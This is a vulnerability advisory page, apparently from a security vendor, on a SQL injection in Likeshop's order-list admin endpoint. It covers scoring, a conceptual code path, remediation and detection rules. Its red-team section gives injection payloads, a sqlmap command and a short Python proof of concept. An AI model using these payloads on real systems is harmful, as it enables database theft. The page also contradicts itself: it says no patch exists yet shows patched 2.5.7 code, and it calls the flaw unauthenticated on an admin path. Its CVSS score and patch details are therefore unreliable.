CVE-2024-34949
Executive Summary
CVE-2024-34949 is a critical SQL injection vulnerability discovered in the Likeshop e-commerce platform, affecting all versions prior to 2.5.7. The flaw resides in the OrderLogic::getOrderList function, which is invoked at the /admin/order/lists.html endpoint. An unauthenticated attacker can inject arbitrary SQL commands into the database query, leading to full data exfiltration, modification, or potential remote code execution via stacked queries. The vulnerability is publicly known, with proof-of-concept code available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for exposed admin interfaces.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (Likeshop). No supply chain implications are present.
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0, a realistic assessment based on the vulnerability characteristics yields the following:
- Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Potential for denial of service via resource exhaustion.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, potentially compromising the entire database and underlying server.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the OrderLogic::getOrderList function. This function is responsible for retrieving order records from the database based on user-supplied parameters. The input is not properly sanitized or parameterized before being concatenated into a SQL query.
Affected Endpoint: /admin/order/lists.html
Vulnerable Code Path (Conceptual):
// Vulnerable code in OrderLogic.php
public function getOrderList($params) {
$where = "1=1";
if (!empty($params['order_sn'])) {
$where .= " AND order_sn = '" . $params['order_sn'] . "'"; // SQL injection
}
// ... more conditions
$sql = "SELECT * FROM likeshop_order WHERE " . $where;
return $this->query($sql);
}
The attacker can inject SQL via the order_sn parameter or other similar parameters. For example, a payload like ' OR '1'='1 would return all orders, while ' UNION SELECT ... could extract data from other tables.
Root Cause: Lack of prepared statements or input validation. The developer directly concatenated user input into the SQL query string.
Vulnerable vs. Patched Code
Vulnerable Version (before 2.5.7):
// Vulnerable: direct concatenation
$where .= " AND order_sn = '" . $params['order_sn'] . "'";
Patched Version (2.5.7+):
// Patched: using parameterized query
$where .= " AND order_sn = :order_sn";
// Then bind parameter
$this->query($sql, ['order_sn' => $params['order_sn']]);
The patch replaces string concatenation with a parameterized query using named placeholders (:order_sn). This prevents SQL injection by ensuring user input is treated as data, not executable code.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Likeshop instance (version < 2.5.7) with the admin interface exposed.
- Network access to the
/admin/order/lists.htmlendpoint.
Exploitation Steps:
Identify the vulnerable parameter: The
order_snparameter is likely injectable. Use a simple test:GET /admin/order/lists.html?order_sn=test' HTTP/1.1If an error is returned (e.g., SQL syntax error), the parameter is vulnerable.
Extract database version:
GET /admin/order/lists.html?order_sn=' UNION SELECT @@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 --+(Adjust column count to match the original query.)
Automated exploitation with sqlmap:
sqlmap -u "http://target.com/admin/order/lists.html?order_sn=1" --batch --dbs
Proof-of-Concept (PoC) Code:
import requests
target = "http://target.com/admin/order/lists.html"
payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 --+"
params = {'order_sn': payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defensive)
Detection:
- Monitor for SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- Look for abnormal characters in the
order_snparameter: single quotes ('), double quotes ("), SQL keywords (UNION,SELECT,OR,AND). - Use WAF rules to block requests containing SQL injection patterns.
Honeypot:
- Deploy a decoy Likeshop instance with logging enabled. Any request to
/admin/order/lists.htmlwith suspicious parameters should trigger an alert.
Log Analysis:
- Check web server logs for requests to
/admin/order/lists.htmlwithorder_sncontaining SQL syntax.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/admin/order/lists.htmlwithorder_snparameter containing SQL keywords or special characters. - Outbound database connections from the web server to unknown IPs (data exfiltration).
- Unusual SQL error messages in HTTP responses.
File IOCs:
- Modified or new files in the
likeshopdirectory (e.g., webshells). - Suspicious entries in database logs (e.g.,
mysql.log).
System IOCs:
- Unexpected database user activity (e.g.,
SELECT * FROM mysql.user). - High CPU or memory usage from the database process.
Detection Engineering
YARA Rule
rule CVE_2024_34949_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting Likeshop OrderLogic::getOrderList"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-34949"
strings:
$sqli1 = "order_sn=" nocase
$sqli2 = "' OR " nocase
$sqli3 = "' UNION " nocase
$sqli4 = "1=1" nocase
$sqli5 = "admin/order/lists.html" nocase
condition:
all of ($sqli*) and any of ($sqli2, $sqli3, $sqli4)
}
Sigma Rule
title: CVE-2024-34949 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Likeshop /admin/order/lists.html
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "order_sn="
- "' OR "
- "' UNION "
- "1=1"
condition: selection
falsepositives:
- Legitimate use of order_sn parameter with special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-34949 SQL Injection Attempt";
flow:to_server,established;
content:"/admin/order/lists.html"; http_uri;
content:"order_sn="; http_uri;
pcre:"/(\x27|%27).*(OR|UNION|SELECT|1=1)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Likeshop 2.5.7 or later if a patched version becomes available. Currently, no official patch exists.
- Disable the admin interface if not required, or restrict access via firewall rules (allow only trusted IPs).
- Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
Long-term Fixes:
- Code Review: Audit all database queries in the application for SQL injection vulnerabilities. Use parameterized queries (prepared statements) everywhere.
- Input Validation: Implement strict input validation for all user-supplied parameters. Reject any input containing SQL metacharacters.
- Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., only SELECT, INSERT, UPDATE on specific tables).
Workaround:
- If upgrading is not possible, manually patch the
OrderLogic.phpfile to use prepared statements as shown in the "Vulnerable vs. Patched Code" section.
Valters IT
Securing Digital Frontiers